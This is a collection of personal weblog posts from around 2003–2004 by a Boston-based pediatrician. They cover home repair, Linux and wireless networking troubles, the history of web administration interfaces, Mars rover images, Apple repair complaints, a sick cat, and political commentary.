We bought the door, and this morning I trimmed it down to the dimensions of the frame. I then learned that the frame isn’t exactly square — houses built in 1900 seem to settle a bit, leaving angles that are a bit off of right. After that, I picked up the small fact that my 7.2 volt cordless drill isn’t powerful enough to bore the doorknob hole through 1-3/4 inches of solid pine. And last (but not least), I learned that a standard doorknob hole is slightly too big for the decorative knobs that we bought to match the rest of the hardware in our apartment. But in the end, I managed to get the door sized to the frame, and get it all hung and aligned.

new french door

Next week, we’ll prime and paint it, and then get all the plastic off of the windows; I can hardly wait to see it all finished!

Methinks I need to spend a little more time browsing around Brewster Kahle’s Live Music Archive, which achieved 10,000+ freely-available concert recordings without me knowing one thing about it. (Of course, that speaks way, way more about my unawareness than it does about the site!)

I’m sorry, but this and this are just crap. Voters in Boston and New York City should remember the elected officials who brought the conventions and traffic disasters to town when they go to the polls this November.

In the past week or two, I’ve spent a bunch of time trying to wrangle the configuration of my two Linux boxes, getting them to be good, cooperative members of my home email and file backup network. Nothing about configuring Linux is straightforward — something that goes fifteenfold for servers when compared to desktops — so that’s why I’m less amused by Eric Raymond’s rant about open source usability problems than I am by John Gruber’s note about the irony of Eric Raymond’s rant. The fact that one of the largest proponents of the open source movement, and someone who has quite a bit of technical and systems administration skill, dropped 3,500 words on the horrors of open source usability should raise a few eyebrows (but, of course, it won’t).

Yesterday, Susan Kitchens started thinking about how ubiquitous the web-based administration control panel has become — these days, we configure our wireless access points, webservers, printers, weblogs, and a whole host of other devices by plugging their addresses into our web browsers. Susan surmised that Cobalt’s Qube may have had one of the first web-based administration interfaces, and got me thinking when she asked if anyone knew of any others that preceded it.

The first thing that came to mind was Webmin, the Unix administration project which launched on October 5, 1997, five months before the first Qube shipped on March 12, 1998. But thinking back further, I swore that I could remember using a similar interface to administer the first version of Oracle’s application server, and a little digging came up with the 1995 manual for Oracle WebServer 1.0, which was released in December 1995 complete with web-based administration. Note that last link, in which the screenshot shows NCSA Mosaic as the browser being used; this is important, since version 2.0 of Mosaic was the first major browser which supported HTML forms (including boxes to type text into, checkboxes, submit buttons, and the like), all elements that most people would concede are necessary components of any web-based administration interface. (Here’s a screenshot of HTML forms in use in Oracle’s WebServer interface.)

NCSA Mosaic 2.0 went into alpha in January of 1994, and didn’t become publicly available until October of 1995. I’d bet that there weren’t many people developing administration interfaces requiring a web browser until that version (or some other browser which supported HTML forms) gained a little traction, so it wouldn’t surprise me too much if Oracle’s December 1995 offering wasn’t one of the first. Can anyone else point to a web-based administration interface that predated Oracle WebServer 1.0?

How strange, and yet so cool! Last night, Shannon, my sister, and I were talking over dinner, and conversation randomly led to us wondering what has happened around the Chernobyl disaster site. Then this morning, I randomly stumbled upon the site of Elena, a Kiev native who decided to take a motorcycle ride through the 2800 square kilometer nuclear exclusion zone that remains. She took a ton of pictures, documenting what can only be called this era’s Pompeii — homes, vehicles, oil tankers, entire factories that are frozen in time at April 26th, 1986. It probably wasn’t the smartest thing for Elena to expose herself to as much radiation as it looks like she did, but the photos that came out of the journey are amazing.

Over at the CJR’s Campaign Desk, Brian Montopoli has an interesting look at how Fox News accepted a decision from the White House which gave the news organization “permission” to make public one of Richard Clarke’s off-the-record interviews. Being the CJR, the piece is written from the perspective of journalistic integrity — essentially, that the accepted standard holds that once a reporter agrees to an off-the-record interview, the only person who can revoke that status is the person being interviewed. Could you imagine if the only hurdle the press had to jump in order to attribute formerly background information was to ask the interviewee’s boss? Fair and balanced, indeed.

Well, that’s certainly one way to handle it! Last week, the county commissioners of Oregon’s Benton County voted to start issuing same-sex marriage licenses today, but under extreme pressure from the state’s attorney general, they’ve taken a unique tack on the issue — the county commissioners have stopped issuing any marriage licenses.

That’s brilliant! It’s a way to guarantee that the county isn’t discriminating, and in addition, a way to expose man-and-woman couples to the treatment that same-sex couples have experienced forever. It’s also a strategy that isn’t explicitly banned by state laws of questionable Constitutionality, so even bigger cities — San Francisco, New York, etc. — could act similarly until the courts work out where this country is going with marriage rights.

Last week, after SxSW, Shannon and I took a short detour to San Antonio to visit my grandmother. After lunch, she surprised me with an awesome gift — a Contax 137 MD camera and a few Zeiss Planar lenses. My grandfather was an avid recreational photographer, and in their retirement, he and my grandmother spent a huge amount of time driving around South Texas taking pictures. Over two decades ago, he gave her the camera as a gift; since then, she’s gotten a few other cameras, and when she realized last year that she’s not interested in taking SLR pictures anymore, she decided to give the camera to me. It’ll never replace the two Contax RTS bodies — fully restored — that my grandmother gave me immediately after my grandfather’s death and were stolen when my apartment was broken into in 1999, but it’s going to be fun to play with SLRs again! (Of course, I guess it means that I’ll have to get film developed again, which is a pain that I haven’t missed one whit since moving to the digital world.)

I’m curious — has anyone heard from Apple yet regarding a refund under the iBook Logic Board Repair Extension Program? When I last spoke with them, they said that it would be six weeks minimum before Apple started “proactively” calling customers. It’s now been seven weeks, so I’m wondering if any others have heard from Apple before I start calling to bug the company.

What an awesome discussion of the two-spaces-after-a-period convention (gleaned from Anil’s daily links). If you look at my source, you’ll see that my grammar teachers sunk this rule deep into my literary psyche; try as anyone might, I’m unsure if there’ll ever be a way to dig it back out! Nonetheless, it’s a great look into how the convention may have come about, and a good example of how, in this day and age, its use is an issue of belief rather than correctness.

Aaron Swartz and John Gruber have put together Markdown, another simplified text markup syntax. It’s cool, but I’m not too sure what differentiates it from the other simplified markup systems that have been released over the years (i.e., the age-old ReStructuredText, or Dean Allen’s Textile). (John says that the difference is that Markdown is a preprocessor, meaning that Markdown syntax can coexist with regular (X)HTML, and that may be legitimate; I can’t confess to having played enough with the alternatives to be able to recall how they deal with HTML.)

If nothing else, an interesting diversion, and another Movable Type plugin to play with a bit.

Inspired by a comment made by Anil in the what’s-next-for-weblogs panel: the first Usenet post by me that Google Groups appears to have indexed. See, I’ve always been a geek!

(Alas, though, I’m a bit disappointed that my first indexed post wasn’t this one; there’s rarely a day that goes by when I don’t look down and notice the scar on my left palm that was part of that experience.)

What a totally cool notion — a firewall security system that’s based on poking and prodding specific ports in a specific order to cause a known response (e.g., opening up a route through the firewall for administrative control). Of course, any one scheme or recipe could never become commonplace enough to be part of a firewall’s default installation; that would degrade its security by making the recipe well-known (which leads to well-hacked).

(Note that this is geeky enough that you can assume I’m posting it mostly as a bookmark for myself. Thanks go to Cory for indulging my geekiness with this.)

Something that apparently became important to me on the flight down to Austin: the iPod Out-of-warranty Battery Replacement Program. Grrrrrrrrr.

Issue #173 of A List Apart is out, and it’s instantly going into the file-this-forever bookmark list. The Zebra Tables article (about automatically striping your table rows) is fantastic, and the CSS Sprites article throws some interesting image-manipulation concepts into the mix. Both make me happy to have a bit of web wrangling on my plate in the next few weeks.

Another little tidbit on the D-Link DI-514 wireless access point (in the interest of saving other people the time I just wasted): if you’re away from home, trying to access the remote administration site of your AP, and being turned away with the oh-so-cheerful 401 The web site is blocked by administrator, the problem is that you’re typing the hostname of your AP into the address bar of your browser. Try typing the IP address in, instead, and you’ll be all good.

What a dumb little bug!

Fascinating — Avi Rubin, the Johns Hopkins researcher who exposed the security vulnerabilities of the Diebold electronic voting machine by dissecting its source code, was an election judge in Baltimore County yesterday in a precinct that used the voting machines, and has written up his experience. It’s not full of shocking news or exposition of malfeasance, but rather a firsthand look at how electronic voting worked, and where the more practical problems could be come November.

As a pediatrician, something about this strikes me as just plain wrong. I know, I know — when compared to slicing off a little kid’s foreskin, it’s not all that shocking — but still!

The one-liner summary of the statement released by Baylor’s president today: It very well might have violated University policy for students to have exhibited independent thought, and as a result, they might be punished for it. Sorta serves as a good example of how the supposed echo chambers of today are merely updated versions of those of yesterday…

I love when reporters do what they’re supposed to do — dig into claims made to them, figure out if they’re being sold a story or told the truth, and then let the world know what they’ve found. In fifteen minutes tonight, I stumbled across two good examples of this: Brian Montopoli’s fact checking of Newsweek’s item stating that Wes Clark started the Kerry-and-his-intern rumor, and Fred Kaplan’s exploration of the Bush campaign’s claim that Kerry voted against a slew of weapons systems.

Of course, the sad side of all this is that for every reporter that finds the truth, there are a dozen that swallow the lie wholesale and haven’t the slightest compunction about regurgitating it to their readers.

By far, the best thing about this MetaFilter thread about trepanation is this guy’s response: “Saying that you need a hole in your skull to acheive enlightenment is like saying you need a sucking chest wound to breathe true air unfiltered by the barrier of your tongue and throat.” Had me giggling for a while…

I was sitting in a mall food court today, a convenient pause in Shannon and my trip back from New York City, and was suddenly burdened with a crushing question: why is there no national Chinese food chain?

I mean, we’ve got about a million burger chains (McDonalds, Burger King, Wendy’s, etc.), and tons of sandwich shops (Subway, Blimpie, Schlotzsky’s, Quiznos), Italian food places (Sbarro, Olive Garden), pizza places (Dominos, Pizza Hut, Papa John’s, Little Caesars, not to mention the restaurant-like Bertucci’s, California Pizza Kitchen), and Mexican food restaurants (Taco Bell, Chi Chi’s). What’s missing in all this is a national Chinese food presence.

Don’t get me wrong; I’m a big fan of local restaurants, and I know that there’s pretty much no cuisine that can’t be completely ruined by a homogeneous national chain. All of that being said, though, I’m just curious: why has Chinese food been so resistant to the big blender of corporate America?

To further comment on Jason’s notice, the server that hosts MetaFilter, Megnut, and A Whole Lotta Nothing (along with the SxSWblog and a few other sites) is currently sitting, turned off and with a broken processor fan, in Brookline. The problem? That I’m in New York City for the weekend, and when I left Brookline on Friday, the replacement fan hadn’t been delivered yet.

Damn precision electronics and their need to stay cool! Damn shipping companies and their inability to meet promised delivery times!

Hopefully, all will be waiting when I get back, and things will return to the chaotic norm soon thereafter.

Ibrahim Ferrer has been denied a visa to come from Cuba to the U.S. to participate in the Grammy Awards, citing a section of immigration law that says that people can be denied entry if it would be “detrimental to the interests of the United States.” Are you *#@%ing kidding me!?! Ferrer is a frail, 77 year-old Latin jazz musician; it’s hard to see how he does anything but enrich the United States. And he’s the time since 9/11, he’s been granted a visa at least once, since Shannon and I saw him at the Beacon in New York City in November of 2001. What a shame that the politics of the Bush administration deprive him of being recognized for his artistic contribution to the world.

This is just freakin’ fantastic. The rendering is just perfect; well worth a look.

Dear Bert:

From the bottom of my heart, I thank you for contacting me with your request to cross-link our websites. I have spent many recent nights wondering how I can generate traffic for my anemic home page, and at the very moment that I had decided the only thing left to do was to fix the two pages with obvious content issues, your welcome email came along offering to obliterate my traffic deficit with a crafty cross-linking agreement. I am saved!

Interestingly, I find it hard to imagine how we never found each other before! You mention that you represent the site of “a cosmetic company which offers acne treatment, laser hair removal, microdermabrasion, removal of stretch marks, and other services,” and it’s clear to me that our two outposts in the electronic cosmos were meant for each other. After all, when people stumble upon my site after searching for ways to schedule MRTG updates in Windows NT, one can’t help but assume that they really want to remove unsightly facial hair! And there’s no doubt that wending around the web for ways to run Frontier as a service is simply the appetizer to a main course of searching for ways to clear up recalcitrant pimples. Our sites are a match made in heaven, a natural relationship rivaled only by that of the oxpecker and the zebra. Small, focused Windows apps are the Bogart to dermatology’s Bacall, and once we consumate this cross-linking agreement, I can only imagine that our traffic will skyrocket.

In closing, I am eager to discover the web address for your site, if only because that seems to be the penultimate step towards bringing my pathetic, seven-link home page the attention it so clearly deserves. I hope to hear from you soon, and if you have any recommendations for high-end webserver computers that are equipped to handle the demands placed on them by our can’t-fail cross-linking agreement, then I’m all ears!

Best regards,
Jason

I just got a new LCD monitor, a Dell 1800FP, and while setting it up yesterday I noticed that when ClearType is enabled, the text looks downright horrid. I didn’t think much of it at the time, but decided to do a little hunting today, and found out that this is a pretty well-known problem. Microsoft has made some changes to the ClearType tuner, adding support for monitors with a much less common BGR pixel sequence; switching to that sequence improves things a slight bit on the 1800FP, but the results are nothing like what text looks like on the Samsung 770TFT that I’ve been using for the past three years, nor does it approach the benefit that ClearType has offered on all the laptops I’ve owned. A freeware utility named ClearTweak that lets you bump up the contrast a bit, but again, it’s an incremental improvement rather than a solution.

I guess what I’m saying is that people should do a little reading before buying an 18” LCD from Dell right now. In the meantime, I’ll keep you posted if I (or Dell) comes up with a solution.

One of the funniest things I’ve read in the past year: William Saletan’s account of Joe Lieberman’s exit from the 2004 campaign for President. Shannon and I have been making fun of Lieberman’s invention of the word “Joementum” for a week or so now; suffice it to say that Saletan has outdone us both, and in the process, made me laugh so hard that I couldn’t breathe.

I’ve gotta say, there’s precious little that makes me more annoyed than a company that miraculously decides to do right by its customers just after enough of those customers express interest in a class-action lawsuit against it.

Being someone who paid Apple $289 for the pleasure of having them repair something that should’ve never broken, I called them today to find out how I could get my reimbursement. I ended up speaking with Shirley in Customer Relations, who (very snippily) told me that I “need to be patient,” that I “should allow Apple to be proactive in contacting all the people who have been affected,” and that in no less than six weeks, I should get a letter in the mail explaining how I can collect the money that Apple cheated out of my wallet. With her attitude, it was hard to resist telling her that I found the use of the word “proactive” disingenuous, given how clearly reactive this all is. I also asked her who I should call if, in six weeks, I haven’t received my letter; she said that I shouldn’t call anyone, but rather, should “check the Apple website” to get information at that point. I actually had to push to get her to give me the direct number to Customer Relations (which is, of course, available on the web). The whole conversation was distasteful, and left me wondering whether Apple might have overlooked a few of Shirley’s character traits that might make her ill-suited for a job handling customer complaints.

(Note that I’ve turned off comments on this post. I wasn’t looking for them in the first place, and then an anonymous troll came to visit, so that’s that.)

For those who are similarly infatuated with all things Mars, I’d recommend keeping an eye on the websites of Susan Kitchens and Robby Stephenson. Both have been chock full of good info about the current missions, with detail that doesn’t make it into the general press. Worth a daily read.

Thanks go out to Matt for solidifying my depression by pointing out the fact that the Northeast has been colder than Mars over the past few weeks. I mean, we’re talking about a planet that’s nearly 50 million miles further from the Sun than ours, and it’s warmer there than outside my apartment window. Maybe a Mars colony doesn’t sound like such a bad idea after all…

Today only brought one image from Opportunity’s camera on Mars that was worth reassembling in color; this time, though, it’s true-color.

mars in true color

(Also, I’m not too sure what that little, white, vent-like object is to the right of the calibration target, but looking at this picture taken by Opportunity’s twin, Spirit, it appears that we can use its orientation to determine which rover took a picture in which it appears…)

For those who, like me, have found the latest batch of Firebird OS X nightly builds a bit on the unstable side, there’s a guy putting together unofficial builds of the version 0.8 branch for the Mac. So far, so good on my machine…

What do you get when you combine a slow on-call day, a copy of Photoshop, and an unhealthy obsession with the Mars mission? The first color images of the Meridiani Planum, courtesy of the Opportunity rover. Using today’s raw images and Kano’s info about the color wavelengths that correspond to each of the rover’s camera filters, it was easy to create the color versions, and while they’re not true-color — NASA hasn’t provided the red channels — they aren’t all that far off, and they’re much more satisfying to look at than the black-and-whites that are all over the newswires. (Note that I also lightened the midtones, since the raw images are pretty dark in the visible range.)

Opportunity has landed! Every time I think about the logistics involved, I end up realizing how unbelievably astounding an achievement it is for NASA to have carefully orchestrated the successful landing of two complex, mobile exploration rovers on the surface of a planet that’s anywhere from 55 to 400 million kilometers from Earth. Sure, Spirit is having problems with its flash memory (and who hasn’t?), but NASA engineers seem to have a handle on that; soon, we’ll have two little friends rolling around the Martian soil and experimenting on our behest.

Now, wouldn’t it be damn cool if Opportunity could hunt down Pathfinder and restore it to life, then go and tag-team a definitive repair on Spirit, and lastly find the Beagle 2 and resurrect it? I picture a merry, Wizard-of-Oz-like band of robotic friends marching around actuator-in-actuator, looking for answers to all that ails them…

I’m not sure which surprises me more, the convoluted and unnecessary crap you have to go through in order to turn off all the various annoying behaviors in RealPlayer, or the fact that users haven’t rebelled against this kind of crap with such force that Rob Glaser and his infernal company go bankrupt in an avalanche of shareholder lawsuits.
Now’s the time that I share two photographic notes from the end of my week; as always, click on the little pix to get bigger pix. Friday morning, Boston was cold enough that I was barely able to motivate myself out the front door. My engine turned over six or seven times in order to catch, and when I looked down, I was saddened to see the thermometer on my dashboard read six below zero.
dashboard thermometer
On my drive to work, NPR kept warning that, while the ambient temperature outside was in the few-below-zero range, the wind chill was making it more like forty below zero. It was the first day that, rather than spending one minute crossing the street, I decided to take the ten-minute, entirely-indoor route between my parking garage to the hospital. It was cold enough that, after doing a bone marrow harvest, I needed to again use the indoor route to bring the marrow across to the cell processing lab; we were told that the insulated cooler that we transport cells in just wouldn’t be good enough in that kind of weather. Friday evening, I was getting ready to leave the hospital when Shannon called. She had come home to find my cat sitting there drooling with her tongue out; Sammie was unwilling to close her mouth, and didn’t appear to be all that excited about eating.
sammie's tongue
I hurried home, and after a quick search, found a great vet who was still open, and (more importantly) was willing to see us right then. We took Sammie in to get checked out, and after some hissing, scratching, and a little sedation, the vet told us that she had some dental disease but no clear reason for her symptoms. Worried about a jaw dislocation or fracture, the vet did x-rays which didn’t shed any light on things; despite that, nobody could get Sammie to close her jaw completely, and we were left thinking that there was a possibility of a tooth abscess or other hidden infection. They sent us out with antibiotics for Sammie, and also with the instruction to have her checked out again if she didn’t improve over the course of one or two days. Last night, Sammie let me get enough of a look in her mouth to see that she appeared to have a malocclusion, and this morning I brought her in to our fabulous local animal hospital. They hooked us up with a visit this week to their dental specialist; we’ll see how that all goes. For now, Sammie has been relegated to eating soft food, and to forming puddles of kitty drool if she stops moving for more than five minutes. It’s sorta pathetic.
As an incredibly happy owner of a 2003 Outback wagon, Subaru’s move to reclassify the Outback as a light truck to avoid fuel and air pollution standards disappoints me. I like the fact that it’s not a truck, sitting a bit lower to the ground (improving stability) and with an interior that feels less like a hose-it-down utility vehicle. I understand that there are legitimate business interests involved in car companies cramming themselves into the voids created by the differences in the standards passed down by the Transportation Department and the EPA, but it’s possible that Subaru is messing with perfection here.
Sad update: V.J. Lovero passed away early this morning. After being diagnosed with metastatic lung cancer, he opted to dig in and fight, and we all benefited from four more fantastic years with Veej. He will be sorely missed; V.J.’s spirit lives on in all that knew him.
When I got into my car this morning, the in-dash thermometer read minus 3 degrees. That’s in Farenheit, people. It was three freaking degrees below zero, cold enough to make the insides of my nose freeze in the time it took to walk from my front door to the car. Cold enough to make shifting my car into first gear feel like dragging a two-ton weight through a vat of molasses. Cold enough to make the 200-foot walk between the parking garage and the hospital seem like a legitimate threat to my well-being. Dammit, I grew up in balmy Texas, where temperatures below freezing were less common than Democrats, and when you talked about dressing for the cold, you meant that it would be a good idea to wear pants. Looking at the coming week, we’re going to get up to a truly toasty 38 degrees before plunging back down in the single-digits… I hope that I get through it without losing body parts to frostbite.
In case you weren’t able to grab last week’s cheap wireless router during Amazon’s rebate period, they’re offering up another great one, the Netgear MR814, for twenty eight bucks (after a rebate), and with free shipping. Same as last time — if you’ve been waiting to get into the wonderful world of wireless, this might be a good time.
Do you remember the great Google bombing article by Adam Mathes? Apparently, so did these plagarizing bastards, but they’re hoping that we didn’t. It’s unbelievable how stupidly dishonest people can be.
Presidential candidates who have recently spammed my referrer logs (no links, for obvious reasons):
  • Dick Gephardt
  • Carol Moseley Braun
Presidential candidates who have recently spammed other people’s referrer logs: I seriously can’t figure out what the motivation is, since generally, the only people who’ll notice are the people who are most likely to be pissed off by the spam. Of course, it’s not like we’re talking about viable candidates… smiley
As always, when one of our little space sentries alights on the firm ground of a neighboring chunk of orbiting rock, I get all giddy. If only the Beagle could participate in the party…

If you’ve got a D-Link DI-514 wireless router and an iBook (or any Apple machine with an Airport card), save yourself a few hours of annoying fiddling by reading this little tidbit of useful information. It’s amazing what a quick search on Google Groups can do for a frustrating problem…

Even though I’m on call over the holiday, the bone marrow transplant unit is quiet enough that I’ve been able to get out of there at a reasonable hour for the past two days, and spend some time working on setting Shannon’s office up. I mentioned before that the office is far enough away from the main net connection that we decided to use wireless networking rather than string (and hide) a cable all the way through the house. Yesterday, I was able to install a wireless card into her computer, but instead of seamlessly adding the desktop machine onto our network, I learned that Windows ME had an entirely different idea. The operating system acknowledged the card’s existence, and I could even half-configure the settings, but beyond that, I was the card’s bitch. “WiFi access point? What access point!?! You will struggle and curse and click on every single option, and yet I will still deny the existence of the access point!” Fucker. At first, I figured that the antenna on the card was just too weak to pick up the signal from the front of the house, and spent a little time fiddling with alignment and whatnot, to no avail. Then, I set my iBook on the desk and turned it into a wireless access point, but the machine wouldn’t even see that. Lastly, I thought foul, foul thoughts about WinME, and started backing up all of Shannon’s files so that I could erase the worthless operating system from existence (well, at least in this house). Not surprisingly, after a 40-minute installation, Windows XP instantly recognized the wireless card, and more importantly, recognized the wireless network. The signal isn’t strong, but running over 802.11g, it’s still faster than our Internet connection (which actually says a lot), and did I mention that it just plain works? That’s the key; I may not be sophisticated or nothin’, but I’ll take a working network connection over one that doesn’t work any day. WinXP also acknowledged the existence of the UPS, the combo FireWire/USB 2.0 card, the CD/DVD writer, and my JumpDrive, all of which made me much less interested in throwing the entire jumble of metal, wires, and glass through the window and into the sunroof of the sparkling new Passat sitting down below.
For those who haven’t figured it out, this is all about this. It goes without saying that Melissa Harrington will make far more in subscriptions than she’ll pay in fines…
Oh, by the way, as of about a week ago this site has an Atom 0.3 syndication feed (that should be valid, unless I did something dumbassed).
Thanks to Leonard (and mostly as a bookmark to myself), I now know of another good boot disk resource. Of course, there’s the damn fine bootdisk.com, and svrops.com’s library; between the three of ‘em, you should find anything you need.
On my top five list of presents I received for Christmas this year: Mattel’s Classic Football 2.
engrossed in football, christmas morning, 2003
I remember wasting hours of my pre-teen life playing the original while riding to and from swim practice; I would also be willing to swear that I owned the real original at some point. Now, I’m just waiting for the re-release of Merlin
If you’ve been looking for an excuse to go wireless with your computer, there’s almost no reason not to saunter over to Amazon and pick up a D-Link DI-514. Why? Because in addition to providing a good, basic wireless access point, it has a four-port switch that goes up to 100 Mbit/sec per port, and for the next five days, it’ll cost you a whopping twenty bucks after the rebate. How can you go wrong?
It’s funny how much better satire is at highlighting the hypocrisy of the religious right than straight news ever has been. (Note that that link is to the main McSweeney’s page, since as far as I can tell, the latest post doesn’t get a permalink until it’s no longer the latest post. Until then, you’re looking for “A Message from Pat Robertson and the ‘Vote No on Jesus’ Campaign” in the archives.)
Well, I guess my Apple accolades were a bit too congratulatory — it turns out that the problem that beseiged by iBook is not only widespread, but more or less ignored by Apple. There are dozens of other people that have posted descriptions of the exact same problem I experienced, and there’s even a thread on Apple’s support site full of people who are on their third and fourth logic boards. Most of them seem to have had to shell out the same few hundred I did in order to get their iBook fixed. And in that context, the service doesn’t seem quite as awesome. In the world of medicine, this many affected people would cause a drug to be pulled off the market, a new procedure to get scrapped, or a medical trial to get closed by the FDA. In the world of computer hardware, though, it just causes people to have to spend more money to fix products that are defective from the get-go.
I was all ready to write an excited, happy post about the unbelievable service that Apple provided when my iBook broke two weeks ago, and then Anil informed me that I had somehow missed Meg’s post about the exact same thing. Seriously, it’s identical down to the wacko Matrix screen seconds before total iBook lockup, and perfect in describing the amazing turnaround on the repair. Despite quoting me five to seven working days, my iBook went from dead to fixed in 48 hours, and all for a pretty reasonable flat fee. (And can I mention how cool it is that Apple offers a $50 service that will back up your hard disk before starting any repairs, but only if they deem that it’s likely that your hard disk will be threatened during the repair process? If they don’t end up needing to do it, they don’t charge you, and that just rocks.) The only downside to the service? That it makes me want one of the 12” aluminum PowerBook G4 all the more; too bad I live on a fellow’s salary. Of course, if anyone wants to buy me one for Christmas, that’s an entirely different story…
How cool — with the help of state media outlets, the story of Saddam Hussein’s strange Oregon license plate continues to unfold over at Slate.
In the next couple of days, a backup mail server that I run is going to be moving to upstate New York, and needs to be offline for a few weeks. As a result, I’m looking for a good, reliable provider as a temporary replacement. What I need is an ISP or hosting company that, instead of having some huge package that includes (as an afterthought) backup mail service for the domains that you host with them, has an inexpensive package specifically for providing store-and-forward SMTP service for domains that are hosted elsewhere. I’d also prefer a service that will let me host multiple domains for minimal extra coin. Most hosting providers seem to have a ton of online detail about how much it’ll cost me to host my website with them, but then have a “contact us” email link for anything less than that, so it’s hard to get any sense of who provides backup mail hosting service, and what it costs. Does anyone have any recommendations?
I will cut taxes, balance the budget, and rid the world of Skeletor. Skeletor is evil. Skeletor does not believe in free trade.
I guess I’m not the only one that noticed that a customer service phone number no longer appears anywhere obvious on Amazon’s website. (A few months ago, I bought a wireless keyboard from them, and when it was broken on arrival, went hunting for the proper way to deal with the problem. Alas, my biggest question — whether Amazon would pay for the return shipping on the broken keyboard — was left ambiguously unanswered by the help section of their website. Looking to get an answer, I then noticed that a phone number was nowhere to be found, replaced by forms that allowed me to submit my issue. Then I remembered that, way back in Amazon’s first days, I had put the phone number into my Palm… and sure enough, there it was, and it was still connected to the customer service department. By speaking with someone, I was able to handle the new order and return shipment in under three minutes. Of course, this was probably because nobody else knows how to call the company…)

It’s hard not to be impressed with the way that Wesley Clark’s campaign for the 2004 Presidential campaign has embraced weblogs. Going way beyond the now-requisite candidate weblog, the campaign registered ForClark.com, and (under Cam Barrett’s guidance) is using it to create smaller communities of supporters that are able both to coordinate their efforts locally and share them globally. There’s a Massachusetts for Clark weblog, an environmentalists for Clark weblog, a Clark fundraising weblog, and as many other ones as you could imagine; they all feed into the same content management system, which allows for communication between communities. The Community Network also allows for a uniform user experience when poking around all of the individual communities, establishing a clear brand that’s even stronger than many corporate identities on the web today. It’s so far beyond what any other candidate has implemented, and I’d be surprised if it isn’t significantly simplifying the communication within Clark’s campaign in the run for the White House.

A few browser-related thoughts that have crossed through my mind over the past few days…

First, why did it take so long for someone to come up with a free pop-up blocking toolbar for Internet Explorer? It’s been a while since every other browser on the market incorporated the functionality into their respective cores; Microsoft has held off on adding it into IE, for whatever reason, so the logical next step has always been for an ambitious third party to whip up a barricade to the annoyance of pop-up, pop-under, and whole-computer-taking-over advertising. Before the Google Toolbar, I tended to use other browsers just to avoid ads; now that the Toolbar has blocking features, it’s a pleasure to be able to go back to the speed of IE.

That being said, though, I’m currently playing around with Mozilla Firebird, and I like what I see. (I know, most cool people started using Firebird months ago…) The interface is clean and less dissimilar from the general Windows UI as have been past Mozilla products (but not completely… for example, why can’t Firebird abide by my preference to hide underlined letters for keyboard navigation until I press the Alt key?), tabbed browsing works beautifully, and the rendering engine is darned fast. One of the things I love most about Mozilla, the DOM Inspector, doesn’t seem to be part of Firebird, but seeing as it’s supposed to be a lean user-level browser, that’s understandable. Likewise, there are a few options missing that should be in the core package, like an easy way to switch search engines. All that being said, Firebird is advertised as a technology preview, and if the final product builds upon what’s already available, it’ll be a pretty damn fine browser.

“Here a front, there a front, everywhere a terror front.” In today’s New York Times, Maureen Dowd analyzes the first Republican television ad in the campaign for the 2004 election, and finds that it’s less an ad for Bush and more an ad to press people into voting Republican on the basis of fear. Even sillier, the ad uses clips of Bush’s statements from the State of the Union address — the same one in which we now know that our President used misleading or wholly false information as the basis of his terrorism fearmongering. I just hope that the American voter sees through this, and calls Bush out next year.
On this, the 140th anniversary of President Abraham Lincoln’s address on a former battlefield in Gettysburg, Pennsylvania, I point you to the only known photo of Lincoln at the ceremony. More interesting than the photo is the story behind the photo; according to the Library of Congress website, the glass plate negative sat unrecognized in the National Archives for over 50 years before someone recognized Lincoln buried in the crowd. (Test yourself by checking out the entire photo before clicking through to the detail; I bet you can’t find him!)

I don’t know about you guys, but I’m getting a kick out of the “we can’t print anything at all about the allegation against the man in line to the British throne” thing going on right now. I’d imagine that news editors across Great Britain are getting sick of trying to figure out new ways to talk around the story, and getting sicker of reading the complete details in the print of their French and American counterparts. It’s interesting to me, though, that while it’s (apparently) against British law for newspapers to print the rumors that a former royal valet walked in on Prince Charles having sex with a male aide, it’s not against the law for those same papers to print the Prince’s retaliatory allegations that the valet was an alcoholic sufferer of PTSD. How very odd!

This certainly puts into perspective the preparation — and expense — that’s goes into Bush’s trip to London. But honestly, why does he have to bring 150 national security advisors with him?
While I’m completely in agreement with the sentiment behind Adam Kalsey’s Comment Spam Manifesto, I can’t help but feel like it’s just pointless. Remembering back to a few years ago, I was all into shutting down email spammers. I’d spend a few minutes here and a few minutes there emailing or calling ISPs to let them know about a customer of theirs who was sending out unsolicited email, and getting accounts shut down, full of righteous rage (as the unfortunate people who shared an office with me can attest) and feeling like I could make a difference. Unfortunately, then the spam explosion occurred. Today, I get somewhere between 200 and 300 unsolicited email messages a day, and if I were to count the messages sent to the 30 email addresses I’ve shunted directly into the bit bucket, that number would be around 750. Therein lies the problem with the strategy of deterrence through reporting — it very quickly becomes an exercise in futility.
Wow — the U.S. baseball team won’t be making the trip to Athens for the Olympics next year, having lost to Mexico in the quarterfinals of the qualifying tournament yesterday. There was even a lot of talk about Roger Clemens pitching for the team, but alas, it wasn’t to be.

Apparently, for today only, there’s a deal on online shopping through affiliates over at Dell (that link goes to Dell through their affiliate front-end); you can get $25 off of purchases of software or peripherals $350 or more by entering the coupon code “FCC8FD174C14” when checking out. Dunno if anyone’s looking for a reason to buy something today, but if so, maybe this is it…

I have a question to pose about spam etiquette. Say you go to the website of a well-known Fortune 500 company — an established company that’s been in the computer business for over two decades — and update your already-created so that you can buy something from them. Say that, during the account update process, you aren’t told that you’re also signing up to receive a junk newsletter from the company, nor are you offered the ability to tell them not to send you their marketing crap. Now, say that within a week, you start getting junk email from them, offering up the new products of the week and whatnot, and that at the bottom of the email is a clear opt-out link. What do you do? Do you just delete the email? Do you click the link, and opt out of the crap that you never opted into to begin with? Do you report the email to Vipul’s Razor, Pyzor, and all other collaborative spam databases? (Incidentally, this same should-be-aware-but-clearly-isn’t company lets you log into your account to change your settings, but on logging in, clearly shows that I have opted to not receive email from them. How can they justify sending me this newsletter when it’s clear they also know I don’t want to receive any marketing email from them?)
